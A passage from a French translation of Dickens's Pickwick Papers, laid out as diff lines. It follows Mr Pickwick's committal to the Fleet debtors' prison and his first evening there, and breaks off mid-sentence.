+--C'est cela. J'irai aussitôt que j'aurai fini mon déjeuner.
+
+--Doucement, doucement, mon cher monsieur, dit le brave homme de petit
+avoué. Il n'est pas besoin d'aller si vite dans un endroit dont tous les
+autres hommes sont si empressés de sortir. Il faut d'abord que nous
+ayons un _habeas corpus_. Il n'y aura pas de juges aux chambres avant
+quatre heures de l'après-midi; il faudra que vous attendiez jusque-là.
+
+--Très-bien, dit M. Pickwick, avec une patience inébranlable. Alors nous
+mangerons une côtelette ici, à deux heures. Occupez-vous-en, Sam, et
+dites qu'on soit ponctuel.»
+
+M. Pickwick demeurant immuable, malgré les remontrances et les arguments
+de Perker, les côtelettes parurent, et disparurent en temps utile.
+Ensuite on attendit pendant une heure ou deux M. Namby, qui avait des
+personnes distinguées à dîner, et ne pouvait se déranger, sous aucun
+prétexte. Enfin notre philosophe monta avec lui et M. Perker dans une
+voiture qui les transporta à _Chancery-lane_.
+
+Il y avait deux juges de service à _Serjeants' Inn_, l'un du banc du
+roi, l'autre des _common pleas_; et s'il fallait en croire la foule de
+clercs qui allaient et venaient avec des paquets de papiers, il devait
+passer par leurs mains une immense quantité d'affaires. Lorsque M.
+Pickwick et ses acolytes eurent atteint la basse arcade qui forme
+l'entrée de _Serjeants' Inn_, Perker fut retenu, pendant quelques
+moments, pour parlementer avec le cocher, concernant le prix de la
+course et la monnaie, et M. Pickwick, se mettant de côté pour être hors
+du courant d'individus qui entraient, regarda autour de lui avec
+curiosité.
+
+Les personnages qui attiraient le plus son attention, étaient trois ou
+quatre hommes d'une tournure à la fois prétentieuse et misérable. Ils
+touchaient leur chapeau devant la plupart des avoués qui passaient, et
+semblaient être là pour quelque affaire, dont M. Pickwick ne pouvait
+deviner la nature. C'étaient des individus fort curieux à observer. L'un
+était grand et boiteux, avec un habit noir râpé et une cravate blanche;
+un autre était un gros courtaud, également vêtu de noir, mais dont la
+cravate, jadis noire, avait une teinte rougeâtre; un troisième était un
+drôle de corps, à la tournure avinée, à la face bourgeonnée. Ils se
+promenaient aux alentours, les mains derrière le dos, et quelquefois,
+d'un air empressé, ils murmuraient deux ou trois mots à l'oreille des
+personnes qui passaient auprès d'eux avec des paquets de papiers. M.
+Pickwick se souvint de les avoir souvent remarqués sous l'arcade,
+lorsqu'il se promenait par-là, et il éprouva une vive curiosité de
+savoir à quelle branche de la chicane appartenaient ces flâneurs peu
+distingués.
+
+Il allait le demander à Namby, qui était resté auprès de lui, et qui
+s'occupait à sucer un large anneau d'or, dont son petit doigt était
+décoré, lorsque Perker revint avec empressement leur dire qu'il n'y
+avait pas de temps à perdre, et se dirigea vers l'intérieur de la
+maison. M. Pickwick se disposait à le suivre, lorsque le boiteux
+s'approcha de lui, toucha poliment son chapeau, et lui tendit une carte
+écrite à la main. Notre excellent ami, ne voulant pas contrister cet
+inconnu par un refus, accepta gracieusement sa carte, et la déposa dans
+la poche de son gilet.
+
+«Nous y voilà, dit Perker, en se retournant, pour voir si ses
+compagnons étaient auprès de lui, avant d'entrer dans les bureaux. Par
+ici, mon cher monsieur. Eh! qu'est-ce que vous voulez?»
+
+Cette dernière question était adressée au boiteux, qui s'était joint à
+leur société, sans que M. Pickwick l'eût remarqué. Pour toute réponse le
+boiteux toucha de nouveau son chapeau, avec la plus grande politesse, et
+montra le philosophe.
+
+«Non, non, dit Perker avec un sourire; nous n'avons pas besoin de vous,
+mon cher ami.
+
+--Je vous demande pardon, monsieur, dit le boiteux. Le gentleman a pris
+ma carte. J'espère que vous m'emploierez, monsieur. Le gentleman m'a
+fait un signe. Je consens à être jugé par le gentleman lui-même. Vous
+m'avez fait un signe, monsieur.
+
+--Bah, bah! folie. Vous n'avez fait de signe à personne, Pickwick? C'est
+une erreur, c'est une erreur.
+
+--Ce monsieur m'a tendu sa carte, répliqua M. Pickwick, en la sortant de
+la poche de son gilet. Je l'ai acceptée, comme il paraissait le désirer.
+Au fait j'avais quelque curiosité de la regarder quand j'en aurais le
+loisir. Je....»
+
+Le petit avoué éclata de rire, et rendant la carte au boiteux l'informa
+que c'était une erreur. Ensuite, pendant que cet homme s'en allait, de
+mauvaise humeur, il dit à demi-voix à M. Pickwick que c'était simplement
+une caution.
+
+«Une quoi? s'écria M. Pickwick.
+
+--Une caution.
+
+--Une caution!
+
+--Oui, mon cher monsieur, il y en à une demi-douzaine ici. Ils vous
+servent de caution, n'importe pour quelle somme, et ne prennent pour
+cela qu'une demi-couronne. Un curieux métier, hein? dit Perker, en se
+régalant d'une prise de tabac.
+
+--Quoi! s'écria M. Pickwick, renversé par cette découverte, dois-je
+entendre que ces hommes se font un revenu en se parjurant devant les
+juges du pays, au taux d'une demi-couronne par crime!
+
+--Hé! hé! Quant au parjure, je n'en sais trop rien, mon cher monsieur;
+c'est un mot sévère, mon cher monsieur; très-sévère. Il y a là une
+notion légale, rien de plus.»
+
+Ayant dit ceci, l'avoué sourit, haussa les épaules, prit une seconde
+pincée de tabac, et entra dans le bureau du clerc du juge.
+
+C'était une chambre d'une apparence essentiellement malpropre, dont le
+plafond était bas et les murs couverts de vieilles boiseries. Elle était
+si mal éclairée que, quoiqu'il fît grand jour au dehors, des chandelles
+de suif brûlaient sur les bureaux. À l'une des extrémités ouvrait une
+porte qui conduisait dans le cabinet du juge, et autour de laquelle se
+trouvaient réunis une nuée d'avoués et de clercs, qui y étaient
+introduits par ordre. Chaque fois que cette porte s'ouvrait pour laisser
+sortir un groupe, un autre groupe se précipitait pour entrer. Et comme
+ceux qui avaient vu le juge mêlaient des discussions assez intimes aux
+bruyants dialogues de ceux qui ne l'avaient point encore vu, il en
+résultait un tapage aussi immense qu'il est possible de l'imaginer dans
+un espace aussi rétréci.
+
+Cependant ces conversations n'étaient point le seul bruit qui fatiguât
+les oreilles. Debout sur une boîte, derrière une barre de bois, à
+l'autre bout de la chambre, était un clerc armé de lunettes, qui
+recevait les attestations; et de temps en temps un autre clerc en
+emportait de gros paquets dans le cabinet du juge, pour les lui faire
+signer. Il y avait un très-grand nombre de clercs d'avoués qui devaient
+prêter serment; et, comme il était moralement impossible de le leur
+faire prêter à tous en même temps, les efforts de ces gentlemen pour se
+rapprocher du clerc aux lunettes étaient semblables à ceux de la foule
+qui assiége la porte du parterre d'un théâtre, lorsque sa très-gracieuse
+Majesté l'honore de sa présence. Un autre fonctionnaire exerçait de
+temps en temps la force de ses poumons à appeler le nom de ceux qui
+avaient prêté serment, afin de leur rendre leurs attestations lorsque
+celles-ci avaient été signées par le juge, ce qui occasionnait de
+nouvelles luttes; et, toutes ces choses, se passant en même temps,
+donnaient naissance à autant de hourvari qu'en puisse désirer la
+personne la plus active. Il y avait encore une autre classe d'individus
+qui n'étaient pas moins bruyants, c'étaient ceux qui venaient pour
+assister à des conférences demandées par leurs patrons. L'avoué de la
+partie adverse pouvait ou non s'y rendre, à son choix; et les clercs en
+question n'avaient pas d'autre affaire que de crier de temps en temps le
+nom de l'avoué adverse, afin de s'assurer qu'il ne se trouvait pas là.
+
+Par exemple, tout auprès du siége où s'était assis M. Pickwick, se
+tenaient appuyés contre la muraille deux clercs, dont l'un avait une
+voix de basse-taille, tandis que l'autre en avait une de ténor.
+
+Un clerc entra avec un paquet de papiers et se mit à regarder tout
+autour de lui.
+
+«Sniggle et Blink, miaula le ténor.
+
+--Porkin et Snob, mugit la basse.
+
+--Stumpy et Deacon, hurla le nouveau venu.»
+
+Personne ne répondit, et le premier individu qui entra après cela fut
+salué par tous les trois à la fois, et à son tour cria d'autres noms.
+Puis un nouveau personnage en vociféra d'autres encore, et ainsi de
+suite.
+
+Pendant tout ce temps, l'homme aux lunettes travaillait sans répit à
+faire jurer les clercs. Leur serment était toujours administré sans
+aucune espèce de ponctuation, et ordinairement dans les termes suivants:
+
+«Prenez le livre dans votre main droite ceci est votre nom et votre
+écriture au nom de Dieu vous jurez que le contenu de votre présente
+attestation est véritable un shilling il faut vous procurer de la
+monnaie je n'en ai pas.»
+
+«Eh bien! Sam, dit M. Pickwick, je suppose qu'on prépare l'_Habeas
+corpus_?
+
+--Oui, répondit Sam, je voudrais bien qu'ils l'amènent leur _ayez sa
+carcasse_. C'est pas délicat de nous faire attendre comme ça. Dans ce
+temps-là moi j'aurais arrangé une douzaine d'_ayez sa carcasse_ tout
+emballés et tout ficelés.»
+
+Sam paraissait s'imaginer qu'un _habeas corpus_ est une espèce de
+machine encombrante; mais nous ne saurions dire au juste de quelle
+sorte, car en ce moment M. Perker revint et emmena M. Pickwick.
+
+Les formalités ordinaires ayant été accomplies, le corpus de Samuel
+Pickwick fut confié à la garde d'un huissier, pour être, par lui,
+conduit au gouverneur de la prison de la Flotte, et pour être là détenu
+jusqu'à ce que le montant des dommages et des frais résultant de
+l'action de Bardell contre Pickwick fût entièrement payé et soldé.
+
+«Et ce ne sera pas de sitôt, dit M. Pickwick en riant. Sam--appelez une
+autre voiture. Perker, mon cher ami, adieu.
+
+--Je vais aller avec vous pour vous voir établi en sûreté.
+
+--En vérité, je préférerais être seul avec Sam. Aussitôt que je serai
+organisé, je vous écrirai pour vous le dire, et je vous attendrai
+immédiatement. Jusque-là, adieu.»
+
+Cela dit, M. Pickwick monta dans la voiture qui venait d'arriver;
+l'huissier le suivit et Sam se plaça sur le siége.
+
+«Voilà un homme comme il n'y en a guère! dit Perker en s'arrêtant pour
+mettre ses gants.
+
+--Quel banqueroutier il aurait fait, monsieur! suggéra Lowten, qui se
+trouvait auprès de lui. Comme il aurait fait aller les commissaires!
+S'ils avaient parlé de le coffrer, il les aurait mis au défi, monsieur.»
+
+L'avoué ne fut apparemment pas fort touché de la manière toute
+professionnelle dont son clerc estimait le caractère de M. Pickwick, car
+il s'éloigna sans daigner lui répondre.
+
+La voiture de M. Pickwick se traîna en cahotant le long de
+_Fleet-Street_, comme les voitures de place ont coutume de le faire. Les
+chevaux allaient mieux, dit le cocher, quand ils avaient une autre
+voiture devant eux (il fallait qu'ils allassent à un pas bien
+extraordinaire quand ils n'en avaient pas); en conséquence, il les avait
+mis derrière une charrette. Quand la charrette s'arrêtait, la voiture
+s'arrêtait, et quand la charrette repartait, la voiture repartait aussi.
+M. Pickwick était assis en face de l'huissier, et l'huissier était assis
+avec son chapeau entre ses genoux, sifflant un air et regardant par la
+portière.
+
+Le temps fait des miracles, et avec l'aide de ce puissant vieillard, une
+voiture de place elle-même peut accomplir un mille de distance. Celle-ci
+arriva enfin, et M. Pickwick descendit à la porte de la prison.
+
+L'huissier, regardant par-dessus son épaule pour voir si M. Pickwick le
+suivait, précéda le philosophe dans le bâtiment. Tournant immédiatement
+à gauche, ils entrèrent par une porte ouverte sous un vestibule, de
+l'autre côté duquel était une autre porte qui conduisait dans
+l'intérieur de la prison: celle-ci était gardée par un vigoureux
+guichetier tenant des clefs dans sa main.
+
+Le trio s'arrêta sous ce vestibule pendant que l'huissier délivrait ses
+papiers, et M. Pickwick apprit qu'il devait y rester jusqu'à ce qu'il
+eût subi la cérémonie connue des initiés sous le nom de _poser pour son
+portrait_.
+
+«Poser pour mon portrait! s'écria M. Pickwick.
+
+--Pour prendre votre ressemblance, monsieur, dit le vigoureux
+guichetier. Nous sommes très-forts sur les ressemblances ici. Nous les
+prenons en un rien de temps et toujours exactes. Entrez, monsieur, et
+mettez-vous à votre aise.»
+
+M. Pickwick se rendit à l'invitation du guichetier; et, lorsqu'il se fut
+assis, Sam s'appuya sur le dos de sa chaise et lui dit tout bas que,
+_poser pour son portrait_, voulait tout bonnement dire subir une
+inspection des différents geôliers, afin qu'ils pussent distinguer les
+prisonniers de ceux qui venaient les visiter.
+
+«Eh bien! alors, Sam, dit M. Pickwick, je désire que les artistes
+arrivent promptement. Ceci est un endroit un peu trop public pour mon
+goût.
+
+--Ils ne seront pas longs, monsieur, soyez tranquille. Voilà une horloge
+à poids, monsieur.
+
+--Je la vois.
+
+--Et une cage d'oiseaux, une prison dans une prison, monsieur. C'est-il
+pas vrai?»
+
+Pendant que Sam donnait cours à ces réflexions philosophiques, M.
+Pickwick s'apercevait que la séance était commencée. Le vigoureux
+guichetier s'était assis non loin de notre héros et le regardait
+négligemment de temps en temps, tandis qu'un grand homme mince, planté
+vis-à-vis de lui, avec ses mains sous les pans de son habit, l'examinait
+longuement. Un troisième gentleman, qui avait l'air de mauvaise humeur
+et qui venait sans doute d'être dérangé de son thé, car il mangeait
+encore un reste de tartine de beurre, s'était placé près du philosophe,
+et, appuyant ses mains sur ses hanches, l'inspectait minutieusement;
+enfin deux autres individus groupés ensemble étudiaient ses traits avec
+des visages pensifs et pleins d'attention. M. Pickwick tressaillit
+plusieurs fois pendant cette opération, durant laquelle il semblait fort
+mal à l'aise sur son siége; mais il ne fit de remarque à personne, pas
+même à Sam, qui, incliné sur le dos de sa chaise, réfléchissait partie
+sur la situation de son maître et partie sur la satisfaction qu'il
+aurait éprouvée à attaquer, l'un après l'autre, tous les geôliers
+présents, si cela avait été légal et conforme à la paix publique.
+
+Quand le portrait fut terminé, on informa M. Pickwick qu'il pouvait
+entrer dans la prison.
+
+«Où coucherai-je cette nuit? demanda-t-il.
+
+--Ma foi, répondit le vigoureux guichetier, je ne sais pas trop, pour
+cette nuit. Demain matin, vous serez accouplé avec quelqu'un, et alors
+vous serez tout à l'aise et confortable. La première nuit, on est
+ordinairement un peu en l'air; mais tout s'arrange le lendemain.»
+
+Après quelques discussions, on découvrit qu'un des geôliers avait un lit
+à louer pour la nuit, et M. Pickwick s'en accommoda avec empressement.
+
+«Si vous voulez venir avec moi, je vais vous le montrer sur-le-champ,
+dit l'homme. Il n'est pas bien grand, mais on y dort comme une douzaine
+de marmottes. Par ici, monsieur.»
+
+Ils traversèrent la porte intérieure et descendirent un court escalier;
+la serrure fut refermée derrière eux, et M. Pickwick se trouva, pour la
+première fois de sa vie, dans une prison pour dettes.
+
+
+
+
+CHAPITRE XII.
+
+Ce qui arriva à M. Pickwick dans la prison pour dettes; quelle espèce de
+débiteurs il y vit, et comment il passa la nuit.
+
+
+Le gentleman qui accompagnait notre philosophe et qui avait nom Tom
+Roker, tourna à droite au bas de l'escalier, traversa une grille qui
+était ouverte, et, remontant quelques marches, entra dans une galerie
+longue et étroite, basse et malpropre, pavée de pierres et très-mal
+éclairée par deux fenêtres placées à ses deux extrémités.
+
+«Ceci, dit le gentleman en fourrant ses mains dans ses poches et en
+regardant négligemment M. Pickwick par-dessus son épaule, ceci est
+l'escalier de la salle.
+
+--Oh! répliqua M. Pickwick en abaissant les yeux pour regarder un
+escalier sombre et humide, qui semblait mener à une rangée de voûtes de
+pierres au-dessous du niveau de la terre. Là, je suppose, sont les
+caveaux où les prisonniers tiennent leur petite provision de charbon de
+terre? Ce sont de vilains endroits quand il faut y descendre, mais je
+parie qu'ils sont fort commodes.
+
+--Oui, je crois bien qu'ils sont commodes, vu qu'il y a quelques
+personnes qui s'arrangent pour y vivre et joliment bien!
+
+--Mon ami, reprit M. Pickwick, vous ne voulez pas dire que des êtres
+humains vivent réellement dans ces misérables cachots?
+
+--Je ne veux pas dire! s'écria M. Roker avec un étonnement plein
+d'indignation, et pourquoi pas?
+
+--Qui vivent! qui vivent là?
+
+--Qui vivent là, oui, et qui meurent là aussi fort souvent. Et pourquoi
+pas? Qu'est-ce qui a quelque chose à dire là contre? Qui vivent là! oui,
+certainement. Est-ce que ce n'est pas une très-bonne place pour y
+vivre?»
+
+Comme M. Roker, en disant cela, se tourna vers M. Pickwick d'une manière
+assez farouche, et murmura en outre, d'un air excité, certaines
+expressions mal sonnantes, notre philosophe jugea convenable de ne point
+poursuivre davantage ce discours. M. Roker commença alors à monter un
+autre escalier aussi malpropre que le précédent, et fut suivi, dans
+cette ascension, par M. Pickwick et par Sam.
+
+Quand ils eurent atteint une autre galerie de la même dimension que
+celle du bas, M. Roker s'arrêta pour respirer, et dit à M. Pickwick:
+«Voici l'étage du café; celui d'au-dessus est le troisième, et celui
+d'au-dessus est le grenier: la chambre où vous allez coucher cette nuit
+s'appelle la salle du gardien, et voilà le chemin, venez.»
+
+Lorsqu'il eut débité tout cela d'une haleine, M. Roker monta un autre
+escalier, M. Pickwick et Sam le suivant toujours sur ses talons.
+
+Cet escalier recevait la lumière par plusieurs petites fenêtres, placées
+à peu de distance du plancher et ouvrant sur une cour sablée, bornée par
+un grand mur de briques, au sommet duquel régnaient dans toute la
+longueur des chevaux de frise en fer. Cette cour, d'après le témoignage
+de M. Roker, était le jeu de paume; et il paraissait, en outre, toujours
+d'après la même autorité, qu'il y avait une autre cour plus petite, du
+côté de _Farringdon-Street_, laquelle était appelée la cour _peinte_,
+parce que ses murs avaient été autrefois décorés de certaines
+représentations de vaisseaux de guerre, voguant à toutes voiles, et de
+divers autres sujets artistiques, exécutés jadis aux heures de loisir de
+quelque dessinateur emprisonné.
+
+Ayant communiqué cette information, plus en apparence pour décharger sa
+conscience d'un fait important que dans le dessein particulier
+d'instruire M. Pickwick, le guide entra dans une autre galerie, pénétra
+dans un petit corridor qui se trouvait à l'extrémité, ouvrit une porte,
+et découvrit aux yeux des nouveaux venus une chambre d'un aspect fort
+peu engageant, qui contenait huit ou neuf lits en fer.
+
+«Voilà, dit M. Roker en tenant la porte ouverte et en regardant M.
+Pickwick d'un air triomphant, voilà une chambre.»
+
+Cependant la physionomie de M. Pickwick exprimait une si légère dose de
+satisfaction à l'apparence de son logement, que M. Roker reporta ses
+regards vers Samuel Weller, qui jusqu'alors avait gardé un silence plein
+de dignité, espérant apparemment trouver plus de sympathie sur son
+visage.
+
+«Voilà une chambre! jeune homme, répéta-t-il.
+
+--Oui, je la vois, répondit Sam, avec un signe de tête pacifique.
+
+--Vous ne vous attendiez pas à trouver une chambre comme ça dans l'hôtel
+de Farringdon, hein?» dit M. Roker avec un sourire plein de
+complaisance.
+
+Sam répondit à ceci en fermant d'une manière aisée et naturelle un de
+ses yeux, ce qui pouvait signifier ou qu'il l'aurait pensé, ou qu'il n'y
+avait jamais pensé du tout, au gré de l'imagination de l'observateur.
+Ayant exécuté ce tour de force, Sam rouvrit son oeil et demanda à M.
+Roker quel était le lit particulier qu'il avait désigné d'une façon si
+flatteuse en disant qu'on y dormait comme une douzaine de marmottes.
+
+«Le voilà, dit M. Roker en montrant dans un coin un vieux lit de fer
+rouillé. Ça ferait dormir quelqu'un, qu'il le veuille ou non.
+
+--Ça me fait c't effet-là, répondit Sam en examinant le meuble en
+question avec un air de dégoût excessif. J'imagine que l'eau d'ânon
+n'est rien auprès.
+
+--Rien du tout, fit M. Roker.
+
+--Et je suppose, poursuivit Sam, en regardant son maître du coin de
+l'oeil, dans l'espérance de découvrir sur son visage quelque symptôme
+que sa résolution était ébranlée par tout ce qui s'était passé, je
+suppose que les autres gentlemen qui dorment ici sont de vrais
+_gentlemen_?
+
+--Rien que de ça. I'y en a un qui pompe ses douze pintes d'ale par jour,
+et qui n'arrête pas de fumer, même à ses repas.
+
+--Ce doit être un fier homme, fit observer Sam.
+
+--Numéro 1!» répliqua M. Roker.
+
+Nullement dompté par cet éloge, M. Pickwick annonça, en souriant, qu'il
+était déterminé à essayer pour cette nuit le pouvoir du lit narcotique.
+M. Roker l'informa qu'il pouvait se retirer pour dormir à l'heure qui
+lui conviendrait, sans autre formalité, et le laissa ensuite avec Sam
+dans la galerie.
+
+Il commençait à faire sombre; c'est-à-dire que, dans cet endroit où il
+ne faisait jamais clair, on venait d'allumer quelques becs de gaz en
+manière de compliment pour la nuit qui s'avançait au dehors. Comme il
+faisait assez chaud, quelques-uns des habitants des nombreuses petites
+chambres qui ouvraient à droite et à gauche sur la galerie avaient
+entre-baillé leurs portes. M. Pickwick y jetait un coup d'oeil, en
+passant, avec beaucoup d'intérêt et de curiosité. Ici, quatre ou cinq
+grands lourdauds, qu'on apercevait à peine à travers un nuage de fumée
+de tabac, criaient et se disputaient, au milieu de verres de bière à
+moitié vides, ou jouaient à l'impériale avec des cartes remarquablement
+grasses. Là, un pauvre vieillard solitaire, courbé sur des papiers
+jaunis et déchirés, écrivait à la lueur d'une faible chandelle, et pour
+la cinquième fois, peut-être, le long récit de ses griefs, dans l'espoir
+de le faire parvenir à quelque grand personnage dont ces papiers ne
+devaient jamais arrêter les yeux, ni toucher le coeur. Dans une
+troisième chambre, on pouvait voir un homme occupé avec sa femme à
+arranger par terre un mauvais grabat, pour y coucher le plus jeune de
+ses nombreux enfants. Enfin, dans une quatrième et dans une cinquième,
+et dans une sixième et dans une septième, le bruit et la bière et les
+cartes et la fumée de tabac reparaissaient de plus en plus fort.
+
+Dans la galerie même, et principalement dans les escaliers, flânaient un
+grand nombre de gens qui venaient là, les uns parce que leur chambre
+était vide et solitaire, les autres parce que la leur était pleine et
+étouffante; le plus grand nombre parce qu'ils étaient inquiets, mal à
+leur aise, et ne savaient que faire d'eux-mêmes.
+
+Il y avait là toutes sortes de gens, depuis l'ouvrier avec sa veste de
+gros drap jusqu'à l'élégant prodigue, en robe de chambre de cachemire
+fort convenablement percée au coude. Mais ils se ressemblaient tous en
+un point, ils avaient tous un certain air négligent, inquiet, effaré, de
+gibier de prison; une physionomie impudente et fanfaronne, qu'il est
+impossible de décrire par des paroles, mais que chacun peut connaître
+quand il le désirera, car il suffit pour cela de mettre le pied dans la
+prison pour dettes la plus voisine, et de contempler le premier groupe
+de prisonniers qui se présentera, avec le même intérêt que révélait la
+figure intelligente de M. Pickwick.
+
+«Ce qui me frappe, Sam, dit le philosophe, en s'appuyant sur la rampe de
+fer de l'escalier, ce qui me frappe, c'est que l'emprisonnement pour
+dettes est à peine une punition.
+
+--Vous croyez, monsieur?
+
+--Vous voyez comme ces gaillards là boivent, fument et braillent. Il
+n'est pas possible que la prison les affecte beaucoup.
+
+--Ah! voilà justement la chose, monsieur. Ils ne s'affectent pas,
+ceux-là. C'est tous les jours fête pour eux, tout _porter_ et jeux de
+quilles. C'est les autres qui s'affectent de ça: les pauvres diables qui
+ont le coeur tendre, et qui ne peuvent pas pomper la bière, ni jouer aux
+quilles; ceux qui prieraient, s'ils pouvaient, et qui se rongent le
+coeur quand ils sont enfermés. Je vais vous dire ce qui en est,
+monsieur; ceux qui sont toujours à flâner dans les tavernes, ça ne les
+punit pas du tout; et ceux qui sont toujours à travailler quand ils
+peuvent, ça les abîme trop. C'est inégal, comme disait mon père quand il
+n'y avait pas une bonne moitié d'eau-de-vie dans son grog; c'est inégal,
+et voilà pourquoi ça ne vaut rien.
+
+--Je crois que vous avez raison, Sam, dit M. Pickwick, après quelques
+moments de réflexion; tout à fait raison.
+
+--Peut-être qu'il y a par-ci par-là quelques honnêtes gens qui s'y
+plaisent, poursuivit Sam, en ruminant; mais je ne peux pas m'en rappeler
+beaucoup, excepté le petit homme crasseux, en habit brun, et c'était la
+force de l'habitude.
+
+--Qui était-ce donc?
+
+--Voilà précisément ce que personne n'a jamais su.
+
+--Mais qu'est-ce qu'il faisait?
+
+--Ah! il avait fait comme beaucoup d'autres qui sont bien plus connus.
+Il avait trop de crédit sur la place et il s'en était servi.
+
+--En d'autres termes, il avait des dettes, je suppose.
+
+--Juste la chose, monsieur; et, au bout d'un certain temps, il est venu
+ici, en conséquence. Ce n'était pas pour beaucoup: exécution pour neuf
+livres sterling, multipliées par cinq, pour les frais. Mais c'est égal,
+il est resté ici, sans en bouger, pendant dix-sept ans. S'il avait gagné
+quelques rides sur la face, elles étaient effacées par la crasse, car
+son visage malpropre et son habit brun étaient juste les mêmes à la fin
+du temps qu'ils étaient au commencement. C'était une petite créature
+paisible et inoffensive, courant toujours pour celui-ci ou celui-là, ou
+jouant à la paume et ne gagnant jamais; si bien qu'à la fin les geôliers
+étaient devenus tout à fait amoureux de lui, et il était dans la loge
+tous les soirs à bavarder avec eux, et à leur compter des histoires et
+tout ça. Un soir qu'il était, comme d'habitude, tout seul avec un de ses
+vieux amis, qui était de garde, il dit tout d'un coup: «Je n'ai pourtant
+pas vu le marché, Bill, qu'il dit (le marché de Fleet-Street était
+encore là à cette époque); je n'ai pourtant pas vu le marché depuis
+dix-sept ans.--Je sais ça, dit le geôlier en fumant sa pipe.--J'aimerais
+bien à le voir une minute, Bill, qu'il dit.--Je n'en doute pas, dit le
+geôlier en fumant sa pipe fort et ferme, pour ne pas avoir l'air
+d'entendre ce que parler voulait dire.--Bill, dit le petit homme brun
+brusquement, c'est une fantaisie que j'ai mis dans ma tête. Laissez-moi
+voir la rue encore une fois avant que je meure, et, si je ne suis pas
+frappé d'apoplexie, je serai revenu dans cinq minutes, à l'horloge.--Et
+qu'est-ce que je deviendrais, moi, si vous êtes frappé d'apoplexie, dit
+le geôlier.--Eh bien! dit la petite créature, ceux-là qui me trouveront
+me ramèneront à la maison, car j'ai ma carte dans ma poche: nº 20,
+_escalier du café_, dit-il.--Et c'était vrai, car, quand il avait envie
+de faire connaissance avec quelque nouveau voisin, il avait l'habitude
+de tirer de sa poche un petit morceau de carte chiffonnée avec ces
+mots-là dessus, et pas autre chose; en considération de quoi on
+l'appelait toujours Numéro Vingt. Le geôlier le regarda fisquement, puis
+à la fin, il dit d'un air solennel: Numéro Vingt, qu'il dit, je me fie à
+vous. Vous ne voudriez pas mettre un vieil ami dans l'embarras?--Non,
+mon garçon; j'espère que j'ai quelque chose de meilleur là-dessous,» dit
+le petit homme en cognant de toutes ses forces sur son gilet, et en
+laissant dégringoler une larme de chaque oeil, ce qui était fort
+extraordinaire, car jamais auparavant une goutte d'eau n'avait touché
+son visage. Il secoua la main du geôlier et le voilà parti.
+
+--Et il n'est jamais revenu, dit M. Pickwick.
+
+--Enfoncé pour cette fois-ci, monsieur! car il revint deux minutes avant
+le temps, tout bouillant de rage, et disant qu'il avait manqué d'être
+écrasé par une voiture de place, qu'il n'y était plus habitué, et qu'il
+voulait être pendu, s'il n'en écrivait pas au lord maire. À la fin, on
+finit par le pacifier, et pendant cinq ans après ça, il ne mit pas
+seulement le nez à la grille.
+
+--À l'expiration de ce temps, il mourut, je suppose, dit M. Pickwick.
+
+--Non, monsieur; il lui vint la fantaisie de goûter la bière, dans une
+nouvelle taverne, tout à côté de la prison, et il y avait un si joli
+parloir, qu'il se mit dans la tête d'y aller tous les soirs, et il n'y
+manqua pas, monsieur, pendant longtemps, revenant toujours
+régulièrement, un quart d'heure avant la fermeture des grilles. Ça
+allait bien et confortablement; mais fin finale, il commença à se mettre
+si joliment en train, qu'il oubliait que le temps marchait, ou qu'il ne
+s'en souciait pas, et il arrivait de plus en plus tard, jusqu'à ce
+qu'une nuit son vieil ami allait justement fermer la porte. Il avait
+déjà tourné la clef quand l'autre rentra. «Un moment, Bill, qu'il
+dit.--Comment, Numéro Vingt, dit le guichetier, vous n'étiez pas encore
+rentré?--Non, fit le petit homme avec un sourire.--Eh bien! alors, je
+vous dirai ce qui en est, mon ami, dit le guichetier en ouvrant la porte
+lentement et d'un air bourru. C'est mon opinion que vous avez fait de
+mauvaises connaissances dernièrement, et que vous vous dérangez; j'en
+suis très-fâché. Voyez-vous, je ne veux pas vous désobliger, qu'il dit;
+mais si vous ne vous bornez pas à voir des gens comme il faut, et si
+vous ne revenez pas à des heures régulières, aussi sûr comme vous êtes
+là, je vous laisserai à la porte tout à fait.» Le petit homme fut saisi
+d'un tremblement, et jamais il n'a mis le pied hors de la prison
+depuis.»
+
+Pendant ce discours, M. Pickwick avait lentement redescendu les
+escaliers. Après avoir fait quelques tours dans la cour peinte, qui
+était presque déserte à cause de l'obscurité, il engagea Sam à se
+retirer pour la nuit et à chercher un lit dans quelque auberge voisine,
+afin de revenir le lendemain de bonne heure pour faire apporter ses
+effets du _George et Vautour_. Sam se prépara à obéir à cette requête
+d'aussi bonne grâce qu'il lui fut possible, mais néanmoins avec une
+expression de mécontentement fort notable. Il alla même jusqu'à essayer
+diverses insinuations sur la convenance de se coucher dans une des cours
+de la prison pour cette nuit; mais, trouvant que M. Pickwick était
+obstinément sourd à de telles suggestions, il se retira définitivement.
+
+On ne saurait dissimuler que M. Pickwick se trouvait fort peu
+confortable et fort mélancolique. En effet, quoique la prison fût pleine
+de monde et qu'une bouteille de vin lui eût immédiatement procuré la
+société de quelques esprits choisis, sans aucun embarras de présentation
+formelle, il se sentait absolument seul dans cette foule grossière. Il
+ne pouvait donc résister à l'abattement inspiré par la perspective d'une
+prison perpétuelle; car, pour ce qui est de se libérer en satisfaisant
+la friponnerie et la rapacité de Dodson et Fogg, sa pensée ne s'y arrêta
+pas un seul instant.
+
+Dans cette disposition d'esprit, il rentra dans la galerie du café et
+s'y promena lentement. L'endroit était intolérablement malpropre, et
+l'odeur du tabac y devenait absolument suffocante; on y entendait un
+perpétuel tapage de portes ouvertes et fermées, et le bruit des voix et
+des pas y retentissait constamment. Une jeune femme, qui tenait dans ses
+bras un enfant, et qui semblait à peine capable de se traîner, tant elle
+était maigre et avait l'air misérable, marchait le long du corridor en
+causant avec son mari, qui n'avait pas d'autre asile pour la recevoir.
+Lorsque cette femme passait auprès de M. Pickwick, il l'entendait
+sangloter amèrement, et, une fois, elle se laissa aller à un tel
+transport de douleur, qu'elle fut obligée de s'appuyer contre le mur
+pour se soutenir, tandis que le mari prenait l'enfant dans ses bras, et
+s'efforçait vainement de la consoler.
+
+Le coeur de notre excellent ami était trop plein pour pouvoir supporter
+ce spectacle; il monta les escaliers et rentra dans sa chambre.
+
+Or, quoique la salle des gardiens fût extrêmement incommode, étant, pour
+le bien-être aussi bien que pour la décoration, à plusieurs centaines de
+degrés au-dessous de la plus mauvaise infirmerie d'une prison de
+province; elle avait, pour le présent, le mérite d'être tout à fait
+déserte. M. Pickwick s'assit donc au pied de son petit lit de fer, et
+entreprit de calculer combien d'argent on pouvait tirer de cette pièce
+dégoûtante. S'étant convaincu, par une opération mathématique, qu'elle
+rapportait autant de revenu qu'une petite rue des faubourgs de Londres,
+il en vint à se demander, avec étonnement, quelle tentation pouvait
